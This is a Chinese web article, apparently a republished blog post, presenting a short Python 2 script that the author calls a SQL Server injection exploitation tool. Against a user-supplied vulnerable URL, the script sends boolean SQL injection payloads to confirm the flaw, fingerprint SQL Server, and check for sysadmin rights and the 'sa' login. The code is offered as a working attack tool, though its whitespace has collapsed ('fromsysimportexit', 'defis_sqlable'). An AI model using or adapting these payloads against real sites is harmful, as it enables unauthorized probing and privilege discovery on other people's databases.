欢迎来到山村网

Python编写数据库SA用户检测方案

2019-03-02 11:37:03浏览:648 来源:山村网   
核心摘要:无聊的时候,用Python写的一个小程序,用有注入点的链接,检测当前数据库用户是否为sa,没什么技术含量。#CodebyzhaoxiaobuEmail

无聊的时候,用Python写的一个小程序,用有注入点的链接,检测当前数据库用户是否为sa,没什么技术含量。

#CodebyzhaoxiaobuEmail:little.bu@hotmail.com

    #-*-coding:UTF-8-*- fromsysimportexit fromurllibimporturlopen fromstringimportjoin,strip fromreimportsearch defis_sqlable(): sql1="%20and%201=2"sql2="%20and%201=1"urlfile1=urlopen(url+sql1) urlfile2=urlopen(url+sql2) htmlcodes1=urlfile1.read() htmlcodes2=urlfile2.read() ifnotsearch(judge,htmlcodes1)andsearch(judge,htmlcodes2): print"[信息]恭喜!这个URL是有注入漏洞的!n"print"[信息]现在判断数据库是否是SQLServer,请耐心等候....." is_SQLServer() else: print"[错误]你确定这个URL能用?换个别的试试吧!n"defis_SQLServer(): sql="%20and%20exists%20(select%20*%20from%20sysobjects)"urlfile=urlopen(url+sql) htmlcodes=urlfile.read() ifnotsearch(judge,htmlcodes): print"[错误]数据库好像不是SQLServer的!n"else: print"[信息]确认是SQLServer数据库!n"print"[信息]开始检测当前数据库用户权限,请耐心等待......"is_sysadmin() defis_sysadmin(): sql="%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))"urlfile=urlopen(url+sql) htmlcodes=urlfile.read() ifnotsearch(judge,htmlcodes): print"[错误]当前数据库用户不具有sysadmin权限!n"else: print"[信息]当前数据库用户具有sysadmin权限!n"print"[信息]检测当前用户是不是SA,请耐心等待......"is_sa() defis_sa(): sql="%20and%20'sa'=(select%20System_user)"; urlfile=urlopen(url+sql) htmlcodes=urlfile.read() ifnotsearch(judge,htmlcodes): print"[错误]当前数据库用户不是SA!n"else: print"[信息]当前数据库用户是SA!n" print"n########################################################################n" print"^o^SQLServer注入利用工具^o^" print"Email:little.bu@hotmail.comn" print"========================================================================"; url=raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:') ifurl=='': print"[错误]提供的URL必须具有'.asp?xxx='这样的格式" exit(1) judge=raw_input("[信息]请提供一个判断字符串.n判断字符串:") ifjudge=='': print"[错误]判断字符串不能为空!" exit(1) is_sqlable()
(责任编辑:豆豆)
下一篇:

java连接sql server数据库代码

上一篇:

微信公众平台消息接口开发在线点歌/在线音乐

  • 信息二维码

    手机看新闻

  • 分享到
打赏
免责声明
• 
本文仅代表作者个人观点,本站未对其内容进行核实,请读者仅做参考,如若文中涉及有违公德、触犯法律的内容,一经发现,立即删除,作者需自行承担相应责任。涉及到版权或其他问题,请及时联系我们 xfptx@outlook.com